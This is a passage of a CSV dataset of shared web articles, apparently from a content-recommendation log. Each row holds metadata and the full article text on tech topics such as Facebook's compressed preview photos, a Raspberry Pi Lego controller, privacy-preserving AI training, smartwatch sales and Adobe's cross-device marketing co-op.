Data Storytelling e análise de dados? Atualmente, há várias ferramentas que cumprem bem o papel de analisar dados, mas com a dinamicidade do mercado e a exigência cada vez mais crescente por respostas rápidas, as empresas têm buscado instrumentos que forneçam uma análise completa, incluindo recursos para a criação de apresentações dinâmicas e de fácil entendimento. O Data Storytelling é o resultado do que chamamos de pacote completo: uma solução que seja capaz de analisar dados, cruzá-los e ainda dispor de uma interface que possibilite a construção de apresentações visuais. Com isso, os tomadores de decisão conseguem utilizar apenas uma plataforma para entender o cenário, fazer análises preditivas e apresentar as informações com embasamento e praticidade. Sendo assim, interpretar as informações e saber como e onde utilizá-las é a parte mais difícil da equação. Entendendo essa dificuldade surge no mercado essa tendência que veio para simplificar a análise e o entendimento das informações por meio de uma história. A ideia é que esta possa ajudar o board da companhia na compreensão do passado e do presente dos negócios, promovendo direcionamentos para estes decidirem como querem que seja o futuro. A conclusão a ser realizada é: tão imprescindível quanto analisar a alta gama de dados atuais é saber interpretá-las e aproveitá-las de maneira eficaz e benéfica, podendo ainda otimizar tempo e reduzir custos. (*) Roberto Guerra é diretor-geral da Inteligência de Negócios (IN)",pt
1477304783,CONTENT SHARED,-8954346068661072425,-6627505417926774253,7151797190085189711,"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.59 Safari/537.36",MG,BR,HTML,https://code.facebook.com/posts/991252547593574/the-technology-behind-preview-photos/,The technology behind preview photos,"First impressions matter, whether you're on a first date, in a job interview, or just choosing new decorations for your house. Some of the first things you see when you visit someone's profile or page on Facebook are the pictures. These pictures are an integral part of the Facebook experience, but sometimes they can be slow to download and display. This is especially true on low-connectivity or mobile networks, which often leave you staring at an empty gray box as you wait for images to download. This is a problem in developing markets such as India, where many people new to Facebook are primarily using 2G networks. Our engineering team took this on as a challenge: What could we design and build that would leave a much better first impression? We initially focused on the cover photo, the beautiful, high-resolution picture at the top of profiles and pages. The cover photo is one of the most visible parts of these surfaces, yet it's also one of the slowest to load. There were two big reasons for this. First, cover photos often reach 100 KB, even after JPEG compression. That's a lot of data when you realize that 2G connections might be transferring data as slowly as 32 KB/second. The second reason is subtler. Before downloading a picture, the application makes a network request for the picture's URL from the GraphQL server. Then, to actually get the image, it uses that URL to make a second network request to the CDN to get the image bytes. The latency of this second network request can be quite long, typically much longer than the first network request. We needed to attack both of these problems simultaneously. 200 bytes To address these issues, we asked ourselves if we could create a visual impression of the image using only 200 bytes. Why 200 bytes? In order to remove that second network request, we needed to include some facsimile of the image itself in the initial network request. This in turn meant that the image had to be part of the GraphQL response, but GraphQL isn't designed to handle full-size image data. It was determined that if we could shrink a cover photo down to 200 bytes, it could efficiently be delivered via the GraphQL response. The cool thing about this solution, if successful, was that it addressed both the small byte requirement and the need for a second network request in one fell swoop. We estimated that this would allow us to display the preview photo in our very first drawing pass, reducing the total latency to display profiles and page headers significantly. Eventually, we still want to download and display the full-size image from the CDN, but this can be done in the background while ensuring that the user experience still feels snappy and enjoyable. The challenge now became how to squeeze a cover photo into 200 bytes! Displaying the right image We felt that a frosted-glass ""impression"" of an image would provide something both visually interesting and consistent with the original image. Having decided on the desired user experience, we needed to figure out the technical details to make it happen. What was the lowest resolution we could use? How would we compress the image? How would we display that image on the client? This is where things got interesting. Displaying the image was the most straightforward part: The frosted-glass look is relatively easy to achieve with a Gaussian blur filter. The nice thing about this blurring filter, besides looking good, is that it ""band-limits"" the signal. Band-limiting essentially means throwing away detail and quickly changing information in the original source image. The more we are willing to blur the displayed image, the smaller our source image can be. Image resolution and compression Clearly, the more we blur our images, the lower resolution we need and the more we can compress. On one extreme, if we send down just the average color of all the pixels in an image (aka the DC components of an image), that would require only a single ""pixel"" of 3 bytes - one byte each for RGB! We knew we needed higher resolution than just one pixel, but how few pixels could we get away with? Given the final frosted-glass effect we want to achieve on the client, we can determine the required blur radius for our Gaussian filter. From that blur radius, we were then able to compute the lowest-resolution image that would still give us the desired final image. For the display size of our cover photos, we found that this resolution was about 42 pixels. Above a 42x42-pixel image, we would get no additional fidelity in the displayed image; essentially, we would be wasting data. But assuming 3 bytes per pixel (for RGB components), that would still be 42x42x3, or 5,292 bytes - much higher than the desired 200-byte target. We started evaluating standard compression techniques to find the best way to compress this data to 200 bytes. Unfortunately, simply entropy encoding the image, with, say, zlib, gets you only a factor of 2. Still too big. We then evaluated a bunch of nonstandard techniques, but we decided it was better to leverage other code/libraries that we had. So, we looked at JPEG image encoding, which is a very popular image codec. Especially since our image is going to be blurred heavily on the client, and thus band-limiting our image data, JPEG should compress this image quite efficiently for our purposes. Unfortunately, the standard JPEG header is hundreds of bytes in size. In fact, the JPEG header alone is several times bigger than our entire 200-byte budget. However, excluding the JPEG header, the encoded data payload itself was approaching our 200 bytes. We just needed to figure out what to do about that pesky header! JPEG to the rescue (mostly) There are a few tables within the JPEG header, which accounts for its size. The question then became: Would it be possible to generate a fixed header that could be stored on client and therefore not need to be transmitted? In that scenario, only the payload would need to be sent, which would make this the winning format. The investigation began. For a given Q value, the quantization table is fixed; through experimentation and measurement, Q20 produced an image that would meet our visual needs. So that was a good start to a fixed header. Our images were not a fixed size but capped at 42x42 (we retain the aspect ratio in the reduced format). This amounted to 2 bytes that we could prepend to the payload and that could be placed by the client in the correct spot to make the header valid. As we looked through the rest of the standard JPEG header, the only other table that could change with different images and options was the Huffman table. This required a bit more work, because there is a trade-off between changes to Q, image data, and image size, which meant different frequency values within the Huffman table, which would lead to different levels of compression and different final payload byte count. Compressing quite a few images while trading off each of those took time, but in the end we had a Huffman table that we could use as a standard that would get us the byte count we wanted across the test images. Since we deal with a large number of images, it was always possible that the solution wouldn't scale, there might be extreme edge cases, we didn't have a real representative sample set, etc. To that end, a version number was added to the beginning so that the format would be future-proof. If we find any extreme cases or better tables in the future, we can update the version number for those images and ship new tables on the clients. So the final format became one byte for version number, one byte each for width and height, and finally the approximately 200 byte payload. The server would just send this format as part of the GraphQL response, and then the client could simply append the JPEG body to the predefined JPEG header, patch the width and height, and treat it as a regular JPEG image. After the standard JPEG decoding, the client could run the predetermined Gaussian blur and scale it to fit the window size. With this, we finally had a format that met our requirements - a highly effective solution that allowed us to reuse the relatively sophisticated JPEG image encoding scheme while transmitting only the data unique to each cover photo. In our data, we saw big improvements. For people on a slow connection, this helped speed up profile and page loads by 30 percent. Even on the fastest connections, this ensured that people would always see a cover photo preview immediately, making their overall experience more seamless. It took a lot of creativity to make it happen, but thanks to everyone's hard work, it paid off!",en
1477311642,CONTENT SHARED,-4582216289807398227,3609194402293569455,-7423090999370450890,"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36",SP,BR,HTML,http://spectrum.ieee.org/geek-life/hands-on/replace-legos-190-intelligent-brick-with-mits-scratch-and-a-40-raspberry-pi,Replace Lego's $190 Intelligent Brick with MIT's Scratch and a $40 Raspberry Pi,"Photo: Diomidis Spinellis If you want to explore coding with Lego bricks, there's one major option: to use a kit from the company's well-known Mindstorms robotics line. Mindstorms-based machines are built around the Intelligent Brick , which can be programmed using Lego's graphical programming environment or one of a number of third-party alternative languages . But Lego also makes a collection of motors, connectors, lights, and infrared receivers collectively sold under the label of Power Functions . In place of a programmable brick, the Power Function line includes a handheld controller for transmitting command signals. I wondered if it was possible to use a Raspberry Pi to replace the handheld controller, taking on the role of an Intelligent Brick. This would have some advantages. With programs being created on the same device used to control Lego constructions, it would eliminate the need to download the programs to the brick, speeding up development. The US $40 Pi is also a lot cheaper than the $190 Intelligent Brick . I also wondered if such a setup could be used with MIT's Scratch , a free visual programming environment aimed at children. Scratch extensions are available for use with the Mindstorms brick, but they require altering the brick's firmware , and I wanted to try something simpler. As I discovered, most of the code required for controlling Lego toys using Scratch is already available as open source software. What was needed was integration, configuration, and some glue software. Block by Block Photos: Diomidis Spinellis Lego Power Functions allow motors to be controlled with infrared signals [top]. Signals can be generated by connecting infrared LEDs to a Pi [middle images]. A Lego enclosure holds the components [bottom]. First, I needed to build an infrared control link, which is basically two infrared LEDs operated via the Raspberry Pi's general purpose input/output (GPIO) connector and Lego's receiver. I used schematics and instructions by Alex Bain to build the hardware. For the software, I downloaded and installed LIRC, a package that has support for decoding and transmitting signals used by over 2,500 different infrared remote controls. Getting the LIRC package to work with my home-brew infrared link was a simple matter of editing some configuration files and specifying which GPIO pins I had wired up for input and output. Now I needed to get LIRC to send valid Lego command signals. This means specifying the waveform-a pattern of infrared pulses-that must be sent for each Lego command. Fortunately, Lego has released a document [PDF] specifying the protocol and format of all commands (for example, a binary value of 1 is transmitted by six pulses of IR light at a frequency of 38 kilohertz, followed by a pause of 553 microseconds). The Lego Power Functions system supports up to four receivers working on different channels, and each receiver has a red side and a blue side, each of which can independently control a motor. Building on this information, Conor Cary created lego-lirc , a Java program that generates command waveforms, complete with the correct checksums, in a format that LIRC understands. I downloaded lego-lirc and, with the Lego documentation in hand, created additional waveforms that allow the transmission of PWM (pulse-width modulation) commands. These commands allow precise speed adjustment of Power Function motors without requiring timing loops in the application software. (To avoid the hassle of running lego-lirc, you can just download my file of generated LIRC waveforms directly from my GitHub repository under the username of dspinellis .) To configure LIRC to use the Lego commands, I copied the waveform to the LIRC configuration directory. I could then send Lego commands from the Pi's command line through LIRC's irsend program. The final step was to issue the LIRC commands from the Scratch environment. I enabled "" remote sensor connections "" in Scratch. This makes Scratch behave like a local server running on the TCP port 42001. Client software can connect to Scratch using this port and listen for messages from Scratch programs. (It's also possible to have the client software and Scratch environment run on separate machines, so you could have the Raspberry Pi-based infrared interface controlled by a Scratch program running on a desktop computer, for example.) I then installed Phillip Quiza's excellent scratchpy library , which allows you to write Scratch clients in the Python programming language. Finally, I wrote a Python script that receives Scratch broadcast messages specifying Lego remote commands, and runs the LIRC command-line client to send them (this is also available from my lego-power-scratch GitHub repository). To run the script, run the control.py program in a separate terminal window and launch the Scratch environment. While control.py is running, it will display on its standard output the remote control messages it sends or the errors it detects on the incoming Scratch messages. In Scratch, programs are constructed by chaining together graphical blocks on screen. Blocks perform functions such as program-flow control and graphics manipulation. To send a message to a Lego Power Functions receiver, a ""broadcast"" block is used, with a simple text string of the form ""Lego <channel> <Blue|Red> <power level>."" So, for example, the message ""Lego 2 blue -7"" will send a signal by way of the Python client and my transmitter to turn the motor connected to the blue side of the receiver on channel 2 at full speed, backward. How does the system work in practice with its intended audience? I tried it out with a young budding engineer-who quickly wrote a Scratch program to control Lego's Volvo Wheel Loader kit with a computer's arrow keys. This article appears in the November 2016 print issue as ""A DIY Lego Controller."" About the Author Diomidis Spinellis is a professor of management science and technology at the Athens University of Economics and Business, in Greece. He is also editor in chief of the magazine IEEE Software and author of Effective Debugging: 66 Specific Ways to Debug Software and Systems (Addison-Wesley, 2016).",en
1477320205,CONTENT SHARED,-1173087925894083974,-1443636648652872475,-8968177476638169036,Android - Native Mobile App,SP,BR,HTML,http://qz.com/814934/ai-can-learn-from-data-without-ever-having-access-to-it/,AI can learn from data without ever having access to it,"AI, like all software, isn't immune to being hacked. In recent months, security researchers have shown that machine learning algorithms can be reverse-engineered and made to expose user data , like personal photos or health data. So how can we protect that information? New research from OpenAI and Google shows a way to build AI that never sees personal data, but is able to function as if it had. Ian Goodfellow, a researcher at OpenAI, compares the system to medical school. ""The doctors who teach in medical school have learned everything they know from decades of experience working with specific individual people, and as a side effect they know a lot of private medical histories,"" Goodfellow says. ""But they can show the student how to practice medicine without divulging all of that history."" The ""student"" algorithm, which will be exposed to the world, learns to mimic decisions of its teachers through millions of simulated decisions, but doesn't have any of the underlying information used to inform the teacher algorithms. The teachers exist only to teach the student-they never see the light of day. The student algorithm also learns from nonsensitive, public data to fine tune results and further obscure the teachers' data points. OpenAI and Google's work builds on previous research that taught a student algorithm using multiple teacher algorithms, but makes the process faster and less reliant on teachers, meaning more secure. They have also released the code for others to adapt their system. What makes reverse-engineering the algorithm even harder is the fact that there's not just one teacher. In tests, researchers trained up to 250 teachers for one student algorithm, meaning the student doesn't rely on any one sensitive data point, but an aggregate of information. Even if the AI was reverse-engineered, the research claims, an attacker couldn't get any information from it. Goodfellow's medical school analogy works well because this system could be especially beneficial in developing medical AI by crowdsourcing information across hospitals, while keeping patient records private. An algorithm could learn from each individual hospital's data, like radiology scans or patient data, and a student AI could automatically learn from the network of hospitals. Companies like Google could also use this technology to learn from their users' photos, without ever having to see them. Now, AI is trained on each user's photos, but that AI is limited to the user's account. A technique similar to this research could set each user's AI as a teacher, to train a much more accurate student for Google's Photos app, which automatically recognizes faces and objects. This approach is a kind of differential privacy , which seeks to keep individual user information safe when it's in a large database. For instance, anonymizing patient data in hospitals is a weaker form of differential privacy. ""Differential privacy addresses the paradox of learning nothing about an individual while learning useful information about a population,"" write Cynthia Dwork of Microsoft Research and Aaron Roth of University of Pennsylvania in their book on the subject. This is the tightrope that differential privacy walks: Accuracy against privacy. The better an algorithm mimics its teacher, the higher the possibility it can betray its teacher's data. ""All the research in this space explores a tension between privacy and utility, as more privacy means utility goes down,"" says Thomas Ristenpart, a machine learning security researcher, in an email to Quartz. Despite this tradeoff, Goodfellow says they've gotten the student AI to perform within 2% of the teachers, down from 5% of the previous state of the art. Read full story",en
1477327566,CONTENT SHARED,6985167957194730651,4055967006701596284,5473054915008452172,"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.110 Safari/537.36",SP,BR,HTML,http://www.tutorialspoint.com/codingground.htm,Free Online IDE and Terminal,"Free Online IDE and Terminal - Edit, Compile, Execute and Share Programs Online to experience the best cloud computing where you can edit, compile, execute and share your varities of projects with the help of simple clicks. You can save your projects at Dropbox, GitHub, GoogleDrive and OneDrive to be accessed anywhere and any time.",en
1477329540,CONTENT SHARED,2642993575444549134,-8845298781299428018,5876684272322414283,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",SP,BR,HTML,https://techcrunch.com/2016/10/24/smartwatch-sales-are-tanking/,Smartwatch sales are tanking,"Maybe not everyone is convinced they need a smartwatch? According to a new industry report from IDC out this morning, smartwatch shipments experienced ""significant"" declines in the third quarter, as total shipments were down 51.6 percent from the same time last year. Just 2.7 million units were shipped in Q3 2016 versus 5.6 million in Q3 2015. While IDC offers several explanations as to why sales are dropping - including issues related to launch timings, Android Wear delays, and more - the numbers still indicate how smartwatches are having a hard time finding traction among a majority of consumers. Of course, we need to keep in mind that Apple Watch is the market leader among smartwatches - its Series One device accounted for the majority of shipments in the quarter (1.1 million units shipped, a 72 percent year-over-year decline). That means its ups and downs will have an outsize impact on the industry's numbers at large. For starters, IDC points out that the third quarter of last year was the first time the Apple Watch had widespread retail availability following its limited online launch. That could have helped boost its sales. Meanwhile, thanks to news leaks and reports, many consumers knew that the second generation of the Apple Watch was going to be announced in September. Those in the market for Apple's wearable probably held off on buying until the new device arrived. And the watch was only available during the last two weeks of September, IDC says. In other words, we haven't yet seen the impact of the new Apple Watch on the larger smartwatch market. The upgraded device is now water-resistant , which could broaden its appeal. And Apple made a number of improvements to address earlier complaints about its wearable, ranging from faster app launches to a redesigned interface to the addition of GPS, among other things. And with holiday shopping season now approaching, it's possible Apple Watch sales will rebound in the fourth quarter, as many will buy the new device for gifts. In addition, Google's decision t o hold back on Android Wear 2.0 has also come into play here. Vendors are having to decide between launching new devices for the holidays, or trying to satisfy consumers with those running the older OS. IDC also points out that Samsung's Gear S3, announced in September, hasn't yet been released. Though there's still room for Apple Watch Series 2 to help these smartwatch numbers improve, IDC's conclusion is that these devices are failing to catch on with a large number of consumers. ""It has also become evident that at present smartwatches are not for everyone,"" said Jitesh Ubrani senior research analyst for IDC Mobile Device Trackers. ""Having a clear purpose and use case is paramount, hence many vendors are focusing on fitness due to its simplicity. However, moving forward, differentiating the experience of a smartwatch from the smartphone will be key and we're starting to see early signs of this as cellular integration is rising and as the commercial audience begins to pilot these devices."" Other notable movements in the quarter include Garmin posting the largest year-over-year increase, due to its ConnectIQ-enabled smartwatches, and the addition of the fenix Chronos. Lenovo posted the largest year-over-year decline due to scarcity issues and no new product introductions.",en
1477329558,CONTENT SHARED,-4333957157636611418,-7496361692498935601,-4955259521885105809,"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",SP,BR,HTML,https://business.stackoverflow.com/blog/why-programmers-want-private-offices,Why Programmers Want Private Offices,"Ask any of your employees or coworkers what they think makes a workplace attractive and you're bound to get a variety of results. Some may refer to the benefits, while others are more concerned about the standard working hours. Developers, however, often will bring up the physical work environment when asked this question. But why? The type of work that developers do day in and day out requires a space that's noiseless with minimal interruptions. Distractions such as phone calls, chatty coworkers, or constant questions from colleagues completely interrupt the developer's flow of work and kill their productivity. For them to perform optimally, they need space and quiet. It's as simple as that. Let's start off with a few findings from various workplace productivity studies. In the book Peopleware , writers Tom DeMarco and Timothy Lister discuss their public productivity survey, which showed that ""The top quartile of participants, those who did the exercise most rapidly and effectively, worked in a space that was substantially different from that of the bottom quartile. The top performers' space was quieter, more private, better protected from interruption, and larger."" Additionally, IBM and architect Gerald McCue studied the work habits of developers in their current workspaces, as well as mock-ups of proposed (more private) workspaces. They found that the minimum accommodation for each developer would be ""100 square feet of dedicated space per worker, 30 square feet of work surface per person, and noise protection in the form of enclosed offices."" Why Do Private Offices Matter for Job Candidates? When a developer hears about a new job (whether they applied themselves or were passively recruited), they usually have the luxury of being picky. Since there's so much demand for them - multiple jobs for every unique developer - they want to ensure they are making the right choice by choosing a company that fits their values and needs. For many developers, one of those values is a top-notch private workspace. Our CEO Joel Spolsky said it best -- ""Put yourself in the job candidate's shoes. Company number 1 shows you a big crowded room, with a bunch of desks shoved in tightly, lots of marketing guys shouting on the phone next to the programmers and a bunch of sales jocks shouting tasteless jokes. Company number 2 shows you through a quiet hallway, a sunlit, plush office with a window and a door that closes. All else being equal, which job are you going to take?"" But What If We Don't Have Permission/Room/Budget for Private Offices? When companies do a cost/benefit analysis for improving the working space, they often focus too much on the cost. This is likely because the costs are easy to calculate, while the benefits are not. The potential benefits, which could be things like increased productivity, reduced turnover rate, increased revenue, often would outweigh the associated costs if calculated properly. How does your company calculate these benefits? That's the million-dollar question. According to Peopleware , ""the entire cost of workspace for one developer is a small percentage of the salary paid to the developer. In general, it varies in the range from 6 to 16 percent. For a programmer working in company-owned space, you should expect to pay $15 directly to the worker for every dollar you spend on space and amenities. If you add the cost for employee benefits, the total investment in the worker could easily be 20 times the cost of his or her workplace."" While not every company can afford to implement private offices for their developers (especially startups with a small budget), it's certainly not impossible. Lots of companies have invested in their developers and cut costs in other areas to make it work, giving them a competitive advantage in the technical hiring market.",en
1477331302,CONTENT SHARED,4700641534148321049,-709287718034731589,-1094280941194191850,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/602.2.14 (KHTML, like Gecko) Version/10.0.1 Safari/602.2.14",SP,BR,HTML,http://www.macrumors.com/2016/10/24/ipod-turns-15-years-old/,The Original iPod Turns 15 Years Old,"On Sunday, Apple's original iPod celebrated the 15th anniversary of its launch on October 23, 2001. The reveal of the iPod by former Apple CEO Steve Jobs in 2001 was preceded by the usual breadcrumb trail of mystery, rumors, and leaks, with most reports pointing to a new "" breakthrough digital device "" coming from the company later in the month. Apple even hinted itself that ""it's not a Mac."" Some speculation went against rumors that the device would be an MP3 player, even suggesting it could be ""something more sophisticated such as a component for a home digital stereo system."" Still, most reports pointed toward the impending launch of the ""iPod,"" a device that would allow customers to ditch their cumbersome CD players and listen to thousands of songs from one device in their pocket. In the official keynote address, Jobs referred to the Mac as the focal point of the Apple customer's digital lifestyle, with the new iPod device as the ultra-portable, music-enabled addition to that lifestyle. The iPod launched for $399 with a 5GB hard drive that could hold up to 1,000 songs, a 10-hour battery life, a black and white LCD screen, came equipped with FireWire to enable a connection between it and iTunes on a Mac, and was the size of a deck of cards (2.4"" wide, 4"" tall, 3/4"" thick). A few individuals who were part of the iPod's launch looked back at the device over the weekend, although Apple itself remained silent on the topic. In the first official promotional video for the iPod, a collection of Apple executives and musicians -- including Phil Schiller , Jony Ive, and Moby -- are seen discussing the creation and impact of the device. Speaking with Entertainment Weekly , Moby remembers ""how magical it was,"" and remarks on how much has changed with the iPod, and its successor in the iPhone, in 15 years. ""It's a little disconcerting when I look back at the past, but the past still sounds like the future,"" Moby says. ""I remember when 2002 seemed like an unimaginably far time - like, really far away. Now it's like a distant past."" Technology is, obviously, the perfect physical encapsulation of this: ""Remember those multicolored clamshell laptops that Apple had?"" he says. ""Now they seem old and clunky, like a weird pair of sneakers. But at the time, they just represented the future. The same thing with the iPod, at the time it was so futuristic, and now it just seems like an adorable relic."" The first alternative iPod lineup, dubbed the iPod mini, debuted in 2004, followed by the iPod nano and iPod shuffle in 2005. The iPod touch was eventually introduced as a non-cellular counterpart to the company's iPhone, and became one of the longest-lasting iPod lines to date (six generations), tied with the classic line, but behind the iPod nano (seven generations). In 2016, Apple still manufactures and sells the iPod touch, iPod nano, and iPod shuffle, but the three devices have long been removed from the main toolbar navigation on its website, and are now located under ""Music."" The three current iPods on sale bear little resemblance to the original device's famous click wheel interface, which was mechanical in the first generation and touch-sensitive in subsequent lines. The last iPod with a click wheel, the iPod Classic, was discontinued by Apple in 2014 and marked the sixth generation of the device. The iPod began Apple's quest to make music a mainstay in its customers' lives by finding a seamless and effortless way for songs to be carried around, in opposition to the size of CD players and the general confusion at the time over how other MP3 players worked. Today, music is a bigger part of Apple than ever, with Apple Music slowly growing in subscribers and the iPhone now essentially the modern version of the original 5GB iPod from fifteen years ago. This week at a Mac-focused event, it's also expected that the company will debut the wireless "" AirPods ."" The Bluetooth device will be the newest implementation of its ubiquitous headphone line, which began alongside the iPod in 2001.",en
1477332201,CONTENT SHARED,-1525688508571111688,-89388927330481219,-5349207496967624261,"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.106 Safari/537.36",TX,US,HTML,http://blogs.atlassian.com/2016/05/introducing-jira-software-app-ios/,Introducing JIRA Software for iPhone,"A recent Atlassian user survey found that 75% of JIRA Software Cloud users were seeking a better way to track work in JIRA from their smartphone. And as the pressure to release better software faster steadily increases for every software team, we wanted to give JIRA Software users a competitive edge and a new way to stay connected. Enter JIRA Software for iPhone . With our new mobile offering for JIRA Software, great software development doesn't have to stop when you're not at your desk. Let's see how. Track what's important JIRA Software for iPhone keeps one curated feed of all your most important projects and work items at your fingertips. So whether you're grabbing breakfast or waiting in the doctor's office, ensuring that everything is still on track is as easy as scrolling through a feed on your iPhone. And, whenever you return to your desk you can immediately jump on the next item in your backlog, instead of catching up on conversations and work that occurred while you were away. Join the conversation from anywhere Our new mobile offering prevents team members on the go from being the bottleneck on a project. In the event there's an action item for you, JIRA Software for iPhone will notify you, then allow you to easily respond to the question or leave a comment. You can even mention other team members, pulling anyone relevant into the conversation. Jumping in to ensure that work on a particular issue continues is as painless as a few key strokes. No blocked issues means no missed deadlines. Capture and assign issues Oftentimes the best ideas arise when you least expect them. A stroke of brilliance may hit you when you're on a morning run or while enjoying a glass of wine after work. And, if you don't capture it in the moment, it may be gone forever. For this reason we've added the ability to create, assign, and prioritize issues directly from your phone. Whether it's a bug you forgot to log, or a new idea you want to capture when you're out and about, creating new to-dos is now as easy as reaching in your pocket. A better way to track important projects and stay connected to your team has arrived. JIRA Software for iPhone is available now as a free download on the iPhone App Store . Grab it today! FAQs : In case you might be wondering... 1. Is JIRA Software available for Android? At this time JIRA Software is only available for iPhone. However, keep a close eye out for updates on JIRA Software for Android. 2. Does JIRA Software for iPhone include boards? This version of JIRA Software for iPhone does not include boards, but we know boards are an important component to the way teams work. Please stay tuned! 3. Can I use JIRA Software for iPhone with JIRA Software Cloud and Server? At this time JIRA Software for iPhone is only available for JIRA Software Cloud users. Fired up about JIRA Software for iPhone? Share this post on your social network of choice and spread the good word about using JIRA while on the move.",en
1477333540,CONTENT SHARED,5967886403500658324,-709287718034731589,-1094280941194191850,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/602.2.14 (KHTML, like Gecko) Version/10.0.1 Safari/602.2.14",SP,BR,HTML,http://www.cultofmac.com/450684/today-apple-history-world-prepares-next-computer/,Today in Apple history: World prepares for the NeXT Computer | Cult of Mac,"People wanted to know what Jobs' next move was. Photo: NewsWeek October 24, 1988: Three years after leaving Apple , 33-year-old Steve Jobs prepares to launch the NeXT Computer, a machine he hopes will cement his reputation as a tech genius and blow away the computers being released by his former company. Both NewsWeek and Time published dual articles on the same day, whipping back the covers on what Jobs had been working on - and hinting at what was coming NeXT next. The computer the world was waiting for The two articles in question were entitled ""Soul of the Next Machine"" (named after Tracy Kidder's excellent book The Soul of a New Machine ) and, simply, "" Steve Jobs Comes Back ."" What is interesting about them is to revisit a point in Jobs' career at which he was a long way from the austere, respected digital emperor he was during the last decade of his life. At NeXT, Jobs was about to put up or shut up: demonstrating whether he could launch a third world-changing computer (after the Apple II and Macintosh) without the support net of Steve Wozniak or graphical user interface pioneers Xerox PARC. Furthermore, unlike Apple - which started in the most low-fi, DIY way imaginable, NeXT was a money pit, in which Jobs was throwing his own fortune. The NeXT logo alone had cost him $100,000, and other stories from the time paint a picture of a still-immature, perfectionist visionary refusing to settle for anything but the best. As NewsWeek noted: ""Jobs has much more at stake than the $12 million he has invested in NeXT. He's rebuilding his reputation, too. Critics say Jobs's success at Apple was an accident, and that he is little more than a showman with a knack for packaging other people's engineering. Jobs is still smarting over his 1985 showdown with John Sculley, the CEO he recruited to Apple - and who ousted him in a power struggle. The public has tended to view Jobs as a techno-punk, immensely talented and charming but a tad arrogant. Learning from his defeat and re-emerging with a mature new style and machine would show the world that Steve Jobs is a serious computer maker, can run a company - and has finally grown up."" Even if Jobs was a ""techno-punk,"" however, what strikes me about the promo articles published about NeXT is that - by 1988 - many people were techno-punks. Consider that just one decade earlier, when the Apple II first launched, the majority of mainstream publications acted with bemusement when it came to personal computers. Look at articles from the late 1970s and, in many cases, smart journalists were talking about the ability to store recipes being the ""killer app"" of personal computers. By the time the NeXT Computer was about to launch, however, Time writer Philip Elmer-Dewitt (who continues to cover Apple today) opened his article by noting that: ""To be a hit with humans, a computer needs to be more than the sum of its hardware and software and metal skin. The most successful machines have a built-in emotional component, something that connects the tools in the computer with the whims of its user. Perhaps no one understands this better than Steven Jobs, co-founder of Apple Computer and the man who made the personal computer a household term."" I'll write more about the NeXT Computer when we celebrate its actual anniversary, but what strikes me about today's ""Today in Apple history"" installment is that it not only takes us back to a time before Steve Jobs was, well, Steve Jobs , but also shows how the world bought into what he was preparing to do at NeXT. It laid much of the template for the later rapturous responses his other world-changing devices received. Do you remember the NeXT Computer? Do you even own one? Leave your comments below. (And, if you're a fan of that time period, make sure you check out the two linked articles for a trip down memory lane.)",en
1477334537,CONTENT SHARED,6892866957050839435,361614354650880527,4679793081016376573,"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",MG,BR,HTML,http://news.adobe.com/press-release/marketing-cloud/adobe-announces-cross-device-co-op-enable-people-based-marketing,Adobe Announces Cross-Device Co-op to Enable People-Based Marketing,"LAS VEGAS--( BUSINESS WIRE )--Devices don't buy products - people do. Yet marketing to people as they migrate from one device to another - from a desktop platform at the office, to a smartphone on the train, to a tablet in their home - has been a tremendous challenge facing brands for years. Marketing to the device rather than the consumer has been the norm. At Adobe Summit, Adobe (Nasdaq:ADBE) is unveiling the Adobe Marketing Cloud Device Co-op, a network that will enable the world's biggest brands to work together to better identify consumers across digital touch points while ensuring the highest level of privacy and transparency. The Co-op will empower participating brands to recognize their consumers so they can deliver more personalized experiences across devices and apps at massive scale. Early measurements indicate that the Adobe Co-op could link up to 1.2 billion devices seen by Co-op members worldwide. Today's digital marketing efforts focus on IP addresses and Internet cookies and have failed to establish authentic and intelligent connections with every consumer. According to the ""Get Personal"" report published today by Adobe, nearly eight in ten consumers (79 percent) and 90 percent of millennials report switching devices some of the time when engaged in an activity. Two-thirds (66 percent) of device owners find it frustrating when content is not synchronized across devices.* Through the Co-op, marketing to people, not devices, will become a reality. Currently, only brands like Google and Facebook, which have huge numbers of users logged into their ecosystems regularly, have been able to keep track of consumers as they move from one device to another. The Co-op will enable member brands to provide their consumers with a better, more consistent content experience as they migrate across devices by establishing links between a group of devices used by unknown consumers or households. With this new capability, marketers will be able to better understand and respond to consumer behaviors across devices. The result will be more accurate website engagement metrics, more personalized content, and more targeted advertising experiences across search, display and social. ""The Adobe Marketing Cloud Device Co-op will enable brands to intelligently engage with their customers across all the different devices they are using,"" said Brad Rencher, executive vice president and general manager, Digital Marketing at Adobe. ""By harnessing the power of the Co-op network, members can benefit from a truly open ecosystem and a massive pool of devices enabling them to turn yesterday's device-based marketing into people-based marketing."" ""A granular understanding of customer identity is becoming the defining feature of digital marketing and advertising,"" said Scott Denne, Research Analyst, 451 Research. ""Without first knowing the links among devices, marketers will come up short in their attempts to understand their customers and measure the reach and impact of campaigns. The Adobe Marketing Cloud Device Co-op will help marketers identify their consumers across digital touch points so they can deliver more personalized experiences across devices."" How it Works Co-op members will give Adobe access to cryptographically hashed login IDs and HTTP header data, which fully hides a consumer's identity. Adobe processes this data to create groups of devices (""device clusters"") used by an unknown person or household. Adobe will then surface these groups of devices through its digital marketing solutions, so Co-op members can measure, segment, target and advertise directly to individuals across all of their devices. Consumers will benefit from truly personalized experiences with a member brand across all their digital touch points. Imagine this scenario: ""Sam"" is in the process of booking a vacation to San Francisco from Acme travel. She searches for hotels on the Acme app on her tablet, arrival date May 1. Later that day she books a 